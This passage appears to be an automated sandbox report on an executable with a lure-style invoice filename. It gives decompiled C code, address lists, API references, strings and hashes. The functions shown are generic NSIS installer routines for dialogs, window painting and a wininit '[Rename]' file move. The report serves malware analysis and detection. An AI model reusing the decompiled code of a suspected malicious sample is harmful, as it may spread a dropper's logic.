					_t258 = LoadImageW( *0x42a260, 0x6e, 0, 0, 0, 0);
					 *0x423734 =  *0x423734 | 0xffffffff;
					_t297 = _t258;
					 *0x42373c = SetWindowLongW(_v8, 0xfffffffc, E0040563E);
					_t260 = ImageList_Create(0x10, 0x10, 0x21, 6, 0);
					 *0x42372c = _t260;
					ImageList_AddMasked(_t260, _t297, 0xff00ff);
					SendMessageW(_v8, 0x1109, 2,  *0x42372c);
					if(SendMessageW(_v8, 0x111c, 0, 0) < 0x10) {
						SendMessageW(_v8, 0x111b, 0x10, 0);
					}
					DeleteObject(_t297);
					_t298 = 0;
					do {
						_t266 =  *((intOrPtr*)(_v28 + _t298 * 4));
						if( *((intOrPtr*)(_v28 + _t298 * 4)) != 0) {
							if(_t298 != 0x20) {
								_v20 = 0;
							}
							SendMessageW(_v12, 0x151, SendMessageW(_v12, 0x143, 0, E004066A5(_t298, 0, _t326, 0, _t266)), _t298);
						}
						_t298 = _t298 + 1;
					} while (_t298 < 0x21);
					_t299 = _a16;
					_push( *((intOrPtr*)(_t299 + 0x30 + _v20 * 4)));
					_push(0x15);
					E004045C4(_a4);
					_push( *((intOrPtr*)(_t299 + 0x34 + _v20 * 4)));
					_push(0x16);
					E004045C4(_a4);
					_t300 = 0;
					_v16 = 0;
					if( *0x42a28c <= 0) {
						L19:
						SetWindowLongW(_v8, 0xfffffff0, GetWindowLongW(_v8, 0xfffffff0) & 0x000000fb);
						goto L20;
					} else {
						_t319 = _v24 + 8;
						_v32 = _t319;
						do {
							_t278 =  &(_t319[0x10]);
							if( *_t278 != 0) {
								_v64 = _t278;
								_t279 =  *_t319;
								_v88 = _v16;
								_t311 = 0x20;
								_v84 = 0xffff0002;
								_v80 = 0xd;
								_v68 = _t311;
								_v44 = _t300;
								_v72 = _t279 & _t311;
								if((_t279 & 0x00000002) == 0) {
									if((_t279 & 0x00000004) == 0) {
										 *( *0x423740 + _t300 * 4) = SendMessageW(_v8, 0x1132, 0,  &_v88);
									} else {
										_v16 = SendMessageW(_v8, 0x110a, 3, _v16);
									}
								} else {
									_v80 = 0x4d;
									_v48 = 1;
									_t284 = SendMessageW(_v8, 0x1132, 0,  &_v88);
									_v36 = 1;
									 *( *0x423740 + _t300 * 4) = _t284;
									_v16 =  *( *0x423740 + _t300 * 4);
								}
							}
							_t300 = _t300 + 1;
							_t319 =  &(_v32[0x818]);
							_v32 = _t319;
						} while (_t300 <  *0x42a28c);
						if(_v36 != 0) {
							L20:
							if(_v20 != 0) {
								E004045F9(_v8);
								goto L23;
							} else {
								ShowWindow(_v12, 5);
								E004045F9(_v12);
								L93:
								return E0040462B(_a8, _a12, _a16);
							}
						}
						goto L19;
					}
				}
			}

0x00405038
0x00405051
0x00405056
0x0040505e
0x00405064
0x0040507a
0x0040507d
0x004052a8
0x004052af
0x004052c3
0x004052b1
0x004052b3
0x004052b6
0x004052b7
0x004052be
0x004052be
0x004052cf
0x004052dd
0x004052e0
0x004052f6
0x0040536b
0x0040536e
0x00405370
0x0040537a
0x00405388
0x00405388
0x0040538a
0x00405394
0x0040539a
0x0040539d
0x004053a0
0x004053bb
0x004053a2
0x004053ac
0x004053ac
0x004053a0
0x00405394
0x00000000
0x0040536e
0x004052fb
0x00405306
0x0040530b
0x00405312
0x00405317
0x0040531b
0x00405326
0x00405326
0x0040532a
0x0040532e
0x00405332
0x00405345
0x00405334
0x00405334
0x0040533b
0x00405341
0x0040533d
0x0040533d
0x0040533d
0x0040533b
0x00405349
0x0040534b
0x0040535e
0x00405361
0x00405364
0x00405364
0x0040532e
0x00000000
0x0040531b
0x004052fd
0x00405304
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004053be
0x004053be
0x004053c5
0x00405436
0x0040543e
0x00405446
0x00405446
0x0040544f
0x00405451
0x00405458
0x0040545b
0x0040545b
0x00405461
0x00405468
0x0040546b
0x0040546b
0x00405471
0x00405477
0x0040547d
0x0040547d
0x0040548a
0x004055eb
0x004055f2
0x0040560f
0x00405615
0x00405627
0x00405627
0x00000000
0x00405490
0x00405492
0x00405497
0x0040549c
0x004054a1
0x004054a3
0x004054a3
0x004054a4
0x004054a5
0x004054a7
0x004054a7
0x004054af
0x004054f0
0x004054f2
0x00405502
0x00405505
0x0040550a
0x00405511
0x00405514
0x004055b6
0x004055bf
0x004055c7
0x004055c7
0x004055d5
0x004055e6
0x004055e6
0x00000000
0x004055d5
0x0040551a
0x0040551d
0x00405523
0x00405528
0x0040552a
0x0040552c
0x00405532
0x00405539
0x0040553e
0x00405545
0x00405548
0x00405548
0x0040554f
0x0040555b
0x0040555f
0x00405561
0x00405561
0x00405551
0x00405553
0x00405553
0x00405581
0x0040558d
0x0040559c
0x0040559c
0x0040559e
0x004055a1
0x004055aa
0x00000000
0x004054b1
0x004054bc
0x004054bf
0x004054c4
0x004054c6
0x004054ca
0x004054da
0x004054e4
0x004054e6
0x004054e9
0x00000000
0x00000000
0x00000000
0x00000000
0x004054cc
0x004054cc
0x004054d2
0x004054d4
0x004054d4
0x004054d5
0x004054d6
0x00000000
0x004054cc
0x004054af
0x0040548a
0x004053cd
0x00000000
0x004053e3
0x004053ed
0x004053f2
0x00000000
0x00000000
0x00405404
0x00405409
0x00405415
0x00405415
0x00405417
0x00405426
0x00405428
0x0040542c
0x0040542f
0x00000000
0x0040542f
0x004053cd
0x00405083
0x00405088
0x00405091
0x00405098
0x004050aa
0x004050b5
0x004050bb
0x004050c9
0x004050dd
0x004050e2
0x004050ef
0x004050f4
0x0040510a
0x0040511b
0x00405128
0x00405128
0x0040512b
0x00405131
0x00405133
0x00405136
0x0040513b
0x00405140
0x00405142
0x00405142
0x00405162
0x00405162
0x00405164
0x00405165
0x0040516a
0x00405170
0x00405174
0x00405179
0x00405181
0x00405185
0x0040518a
0x0040518f
0x00405197
0x0040519a
0x0040526a
0x0040527d
0x00000000
0x004051a0
0x004051a3
0x004051a6
0x004051a9
0x004051a9
0x004051af
0x004051b8
0x004051bb
0x004051bf
0x004051c2
0x004051c5
0x004051ce
0x004051d7
0x004051da
0x004051dd
0x004051e0
0x0040521e
0x00405249
0x00405220
0x0040522f
0x0040522f
0x004051e2
0x004051e5
0x004051f3
0x004051fd
0x00405205
0x0040520c
0x00405217
0x00405217
0x004051e0
0x0040524f
0x00405250
0x0040525c
0x0040525c
0x00405268
0x00405283
0x00405286
0x004052a3
0x00000000
0x00405288
0x0040528d
0x00405296
0x00405629
0x0040563b
0x0040563b
0x00405286
0x00000000
0x00405268
0x0040519a

APIs

GetDlgItem.USER32(?,000003F9), ref: 00405049
GetDlgItem.USER32(?,00000408), ref: 00405054
GlobalAlloc.KERNEL32(00000040,?), ref: 0040509E
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 004050B5
SetWindowLongW.USER32(?,000000FC,0040563E), ref: 004050CE
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 004050E2
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 004050F4
SendMessageW.USER32(?,00001109,00000002), ref: 0040510A
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405116
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00405128
DeleteObject.GDI32(00000000), ref: 0040512B
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405156
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405162
SendMessageW.USER32(?,00001132,00000000,?), ref: 004051FD
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040522D

Part of subcall function 004045F9: SendMessageW.USER32(00000028,?,00000001,00404424), ref: 00404607

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405241
GetWindowLongW.USER32(?,000000F0), ref: 0040526F
SetWindowLongW.USER32(?,000000F0,00000000), ref: 0040527D
ShowWindow.USER32(?,00000005), ref: 0040528D
SendMessageW.USER32(?,00000419,00000000,?), ref: 00405388
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 004053ED
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405402
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405426
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405446
ImageList_Destroy.COMCTL32(?), ref: 0040545B
GlobalFree.KERNEL32(?), ref: 0040546B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 004054E4
SendMessageW.USER32(?,00001102,?,?), ref: 0040558D
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 0040559C
InvalidateRect.USER32(?,00000000,00000001), ref: 004055C7
ShowWindow.USER32(?,00000000), ref: 00405615
GetDlgItem.USER32(?,000003FE), ref: 00405620
ShowWindow.USER32(00000000), ref: 00405627

Strings

M, xrefs: 004051E5
, xrefs: 004055FF
N, xrefs: 004052C6

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
Instruction ID: a1eb65f7683e17450fca8d4cb4c1055b074660be5b1b810df034ff690b7f681c
Opcode Fuzzy Hash: de07a9e9a0be4199ac2fb0f6085adc1098bb242521470954e30eab12cbe79057
Instruction Fuzzy Hash: 2A025CB0900609EFDF20DF65CD45AAE7BB5FB44315F10817AEA10BA2E1D7798A52CF18

Uniqueness

Uniqueness Score: -1.00%

Function 00404783 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204
windowstringCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E00404783(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
				intOrPtr _v8;
				int _v12;
				void* _v16;
				struct HWND__* _t56;
				signed int _t75;
				signed short* _t76;
				signed short* _t78;
				long _t92;
				int _t103;
				signed int _t110;
				intOrPtr _t113;
				WCHAR* _t114;
				signed int* _t116;
				WCHAR* _t117;
				struct HWND__* _t118;

				if(_a8 != 0x110) {
					if(_a8 != 0x111) {
						L13:
						if(_a8 != 0x4e) {
							if(_a8 == 0x40b) {
								 *0x421714 =  *0x421714 + 1;
							}
							L27:
							_t114 = _a16;
							L28:
							return E0040462B(_a8, _a12, _t114);
						}
						_t56 = GetDlgItem(_a4, 0x3e8);
						_t114 = _a16;
						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
							_t113 =  *((intOrPtr*)(_t114 + 0x18));
							_v12 = _t103;
							_v16 = _t113;
							_v8 = 0x428200;
							if(_t103 - _t113 < 0x800) {
								SendMessageW(_t56, 0x44b, 0,  &_v16);
								SetCursor(LoadCursorW(0, 0x7f02));
								_push(1);
								E00404A32(_a4, _v8);
								SetCursor(LoadCursorW(0, 0x7f00));
								_t114 = _a16;
							}
						}
						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
							goto L28;
						} else {
							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
								SendMessageW( *0x42a268, 0x111, 1, 0);
							}
							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
								SendMessageW( *0x42a268, 0x10, 0, 0);
							}
							return 1;
						}
					}
					if(_a12 >> 0x10 != 0 ||  *0x421714 != 0) {
						goto L27;
					} else {
						_t116 =  *0x422720 + 0x14;
						if(( *_t116 & 0x00000020) == 0) {
							goto L27;
						}
						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
						E004045E6(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
						E00404A0E();
						goto L13;
					}
				}
				_t117 = _a16;
				_t75 =  *(_t117 + 0x30);
				if(_t75 < 0) {
					_t75 =  *( *0x42923c - 4 + _t75 * 4);
				}
				_t76 =  *0x42a298 + _t75 * 2;
				_t110 =  *_t76 & 0x0000ffff;
				_a8 = _t110;
				_t78 =  &(_t76[1]);
				_a16 = _t78;
				_v16 = _t78;
				_v12 = 0;
				_v8 = E00404734;
				if(_t110 != 2) {
					_v8 = E004046FA;
				}
				_push( *((intOrPtr*)(_t117 + 0x34)));
				_push(0x22);
				E004045C4(_a4);
				_push( *((intOrPtr*)(_t117 + 0x38)));
				_push(0x23);
				E004045C4(_a4);
				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
				E004045E6( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
				_t118 = GetDlgItem(_a4, 0x3e8);
				E004045F9(_t118);
				SendMessageW(_t118, 0x45b, 1, 0);
				_t92 =  *( *0x42a270 + 0x68);
				if(_t92 < 0) {
					_t92 = GetSysColor( ~_t92);
				}
				SendMessageW(_t118, 0x443, 0, _t92);
				SendMessageW(_t118, 0x445, 0, 0x4010000);
				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
				 *0x421714 = 0;
				SendMessageW(_t118, 0x449, _a8,  &_v16);
				 *0x421714 = 0;
				return 0;
			}

0x00404795
0x004048c2
0x0040491f
0x00404923
0x004049f0
0x004049f2
0x004049f2
0x004049f8
0x004049f8
0x004049fb
0x00000000
0x00404a02
0x00404931
0x00404937
0x00404941
0x0040494c
0x0040494f
0x00404952
0x0040495d
0x00404960
0x00404967
0x00404974
0x00404985
0x0040498b
0x00404993
0x004049a1
0x004049a7
0x004049a7
0x00404967
0x004049b1
0x00000000
0x004049bc
0x004049c0
0x004049d0
0x004049d0
0x004049d6
0x004049e2
0x004049e2
0x00000000
0x004049e6
0x004049b1
0x004048cd
0x00000000
0x004048df
0x004048e4
0x004048ea
0x00000000
0x00000000
0x00404913
0x00404915
0x0040491a
0x00000000
0x0040491a
0x004048cd
0x0040479b
0x0040479e
0x004047a3
0x004047b4
0x004047b4
0x004047bc
0x004047bf
0x004047c3
0x004047c6
0x004047ca
0x004047cd
0x004047d0
0x004047d3
0x004047da
0x004047dc
0x004047dc
0x004047e6
0x004047f3
0x004047fd
0x00404802
0x00404805
0x0040480a
0x00404821
0x00404828
0x0040483b
0x0040483e
0x00404852
0x00404859
0x0040485e
0x00404863
0x00404863
0x00404871
0x0040487f
0x00404891
0x00404896
0x004048a6
0x004048a8
0x00000000

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404821
GetDlgItem.USER32(?,000003E8), ref: 00404835
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 00404852
GetSysColor.USER32(?), ref: 00404863
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 00404871
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040487F
lstrlenW.KERNEL32(?), ref: 00404884
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 00404891
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004048A6
GetDlgItem.USER32(?,0000040A), ref: 004048FF
SendMessageW.USER32(00000000), ref: 00404906
GetDlgItem.USER32(?,000003E8), ref: 00404931
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 00404974
LoadCursorW.USER32(00000000,00007F02), ref: 00404982
SetCursor.USER32(00000000), ref: 00404985
LoadCursorW.USER32(00000000,00007F00), ref: 0040499E
SetCursor.USER32(00000000), ref: 004049A1
SendMessageW.USER32(00000111,00000001,00000000), ref: 004049D0
SendMessageW.USER32(00000010,00000000,00000000), ref: 004049E2

Strings

Call, xrefs: 00404960
N, xrefs: 0040491F

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: Call$N
API String ID: 3103080414-3438112850
Opcode ID: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction ID: 690b4d321b533a2a97605fa3f7bb2423a24794fe1ec6c961d913f822d5f12d1b
Opcode Fuzzy Hash: 7b7ce6e7f04c0852b245e81234b58653da2c4cab9b10fb98097c13f3cf17b06e
Instruction Fuzzy Hash: AB6181F1900209FFDB109F61CD85A6A7B69FB84304F00813AF705B62E0C7799951DFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004062AE Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 130
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004062AE(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t12;
				long _t24;
				char* _t31;
				int _t37;
				void* _t38;
				intOrPtr* _t39;
				long _t42;
				WCHAR* _t44;
				void* _t46;
				void* _t48;
				void* _t49;
				void* _t52;
				void* _t53;

				_t38 = __ecx;
				_t44 =  *(_t52 + 0x14);
				 *0x426de8 = 0x55004e;
				 *0x426dec = 0x4c;
				if(_t44 == 0) {
					L3:
					_t2 = _t52 + 0x1c; // 0x4275e8
					_t12 = GetShortPathNameW( *_t2, 0x4275e8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						_t37 = wsprintfA(0x4269e8, "%ls=%ls\r\n", 0x426de8, 0x4275e8);
						_t53 = _t52 + 0x10;
						E004066A5(_t37, 0x400, 0x4275e8, 0x4275e8,  *((intOrPtr*)( *0x42a270 + 0x128)));
						_t12 = E00406158(0x4275e8, 0xc0000000, 4);
						_t48 = _t12;
						 *(_t53 + 0x18) = _t48;
						if(_t48 != 0xffffffff) {
							_t42 = GetFileSize(_t48, 0);
							_t6 = _t37 + 0xa; // 0xa
							_t46 = GlobalAlloc(0x40, _t42 + _t6);
							if(_t46 == 0 || E004061DB(_t48, _t46, _t42) == 0) {
								L18:
								return CloseHandle(_t48);
							} else {
								if(E004060BD(_t38, _t46, "[Rename]\r\n") != 0) {
									_t49 = E004060BD(_t38, _t21 + 0xa, "\n[");
									if(_t49 == 0) {
										_t48 =  *(_t53 + 0x18);
										L16:
										_t24 = _t42;
										L17:
										E00406113(_t24 + _t46, 0x4269e8, _t37);
										SetFilePointer(_t48, 0, 0, 0);
										E0040620A(_t48, _t46, _t42 + _t37);
										GlobalFree(_t46);
										goto L18;
									}
									_t39 = _t46 + _t42;
									_t31 = _t39 + _t37;
									while(_t39 > _t49) {
										 *_t31 =  *_t39;
										_t31 = _t31 - 1;
										_t39 = _t39 - 1;
									}
									_t24 = _t49 - _t46 + 1;
									_t48 =  *(_t53 + 0x18);
									goto L17;
								}
								lstrcpyA(_t46 + _t42, "[Rename]\r\n");
								_t42 = _t42 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E00406158(_t44, 0, 1));
					_t12 = GetShortPathNameW(_t44, 0x426de8, 0x400);
					if(_t12 != 0 && _t12 <= 0x400) {
						goto L3;
					}
				}
				return _t12;
			}

0x004062ae
0x004062b7
0x004062be
0x004062c8
0x004062dc
0x00406304
0x0040630b
0x0040630f
0x00406313
0x00406333
0x0040633a
0x00406344
0x00406351
0x00406356
0x0040635b
0x0040635f
0x0040636e
0x00406370
0x0040637d
0x00406381
0x0040641c
0x00000000
0x00406397
0x004063a4
0x004063c8
0x004063cc
0x004063eb
0x004063ef
0x004063ef
0x004063f1
0x004063fa
0x00406405
0x00406410
0x00406416
0x00000000
0x00406416
0x004063ce
0x004063d1
0x004063dc
0x004063d8
0x004063da
0x004063db
0x004063db
0x004063e3
0x004063e5
0x00000000
0x004063e5
0x004063af
0x004063b5
0x00000000
0x004063b5
0x00406381
0x0040635f
0x004062de
0x004062e9
0x004062f2
0x004062f6
0x00000000
0x00000000
0x004062f6
0x00406427

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,00406449,?,?), ref: 004062E9
GetShortPathNameW.KERNEL32(?,00426DE8,00000400), ref: 004062F2

Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060CD
Part of subcall function 004060BD: lstrlenA.KERNEL32(00000000,?,00000000,004063A2,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004060FF

GetShortPathNameW.KERNEL32(?,004275E8,00000400), ref: 0040630F
wsprintfA.USER32 ref: 0040632D
GetFileSize.KERNEL32(00000000,00000000,004275E8,C0000000,00000004,004275E8,?,?,?,?,?), ref: 00406368
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00406377
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004063AF
SetFilePointer.KERNEL32(0040A5B0,00000000,00000000,00000000,00000000,004269E8,00000000,-0000000A,0040A5B0,00000000,[Rename],00000000,00000000,00000000), ref: 00406405
GlobalFree.KERNEL32(00000000), ref: 00406416
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 0040641D

Part of subcall function 00406158: GetFileAttributesW.KERNELBASE(00000003,00403113,C:\Users\user\Desktop\QT_0948765446-NMPMUST-9876563783.exe,80000000,00000003), ref: 0040615C
Part of subcall function 00406158: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040617E

Strings

%ls=%ls, xrefs: 00406323
[Rename], xrefs: 00406397, 004063A9
uB, xrefs: 00406304
mB, xrefs: 004062D7
uB, xrefs: 0040630B

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$mB$uB$uB
API String ID: 2171350718-2295842750
Opcode ID: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
Instruction ID: df9b4e9fb9d32bd4c250032a1d399944af7a2e4c2f0bdec2b7d3959d12e60cc8
Opcode Fuzzy Hash: 1440962ef2f3b8112e1664fd7ccaf364af2d80964e03d16af1fd95ff0e1f48f4
Instruction Fuzzy Hash: B8314331200315BBD2206B619D49F5B3AACEF85704F16003BFD02FA2C2EA7DD82186BD

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x42a270;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectW( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextW(_t128, 0x429260, 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x42a268;
				}
				return DefWindowProcW(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction ID: e2f9fea5dfd6f059ba8eeb08e8d10ac227d01a2162b8a260283931f50cd0bfbf
Opcode Fuzzy Hash: 8da9fae8b34351ceae2931000ebd9f39a308799c7d87b7a6dbcfe72b45b7384c
Instruction Fuzzy Hash: 33418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7349A55DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 004066A5 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 196
stringCOMMON

Download Yara Rule

C-Code - Quality: 72%

